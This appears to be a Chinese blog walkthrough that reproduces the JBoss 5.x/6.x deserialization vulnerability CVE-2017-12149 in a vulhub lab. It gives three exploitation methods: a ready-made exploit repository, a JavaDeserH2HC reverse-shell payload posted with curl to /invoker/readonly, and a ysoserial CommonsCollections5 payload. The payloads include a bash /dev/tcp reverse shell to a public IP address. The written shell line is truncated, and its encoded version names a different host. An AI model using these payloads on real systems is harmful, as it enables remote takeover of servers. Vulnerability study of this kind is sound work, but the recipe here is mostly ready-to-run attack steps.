0x00 漏洞介绍

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化:

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第1张

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

0x01 环境搭建

vulhub上一键搭建:https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第2张

0x02漏洞复现

方法一:现成的exp工具

git clone https://github.com/yunxu1/jboss-_CVE-2017-12149
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第3张

(请忽略虚拟机乱码问题)

方法二:使用JavaDeserH2HC工具

进入JavaDeserH2HC工作目录:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口
此时会在当前目录生成ReverseShellCommonsCollectionsHashMap.ser二进制文件
curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

反弹shell:

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第4张

方法三:常规方法

漏洞是因为接口/invoker/readonly将用户传入的post数据进行了反序列化导致的,所以我们先来构造反序列化语句。

编写反弹shell语句

bash -i >& /dev/tcp/49.233.44.168/12345 0>&
程序是java的,Runtime.getRuntime().exec()语句中不能包含管道符等,所以需要将反弹shell语句编码
编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第5张

利用ysoserial 生成反序列化语句

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

通过POST包发送poc,右键paste from file将生成的poc.ser文件导入post包:
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第6张

反弹shell
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现 Safe 第7张

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄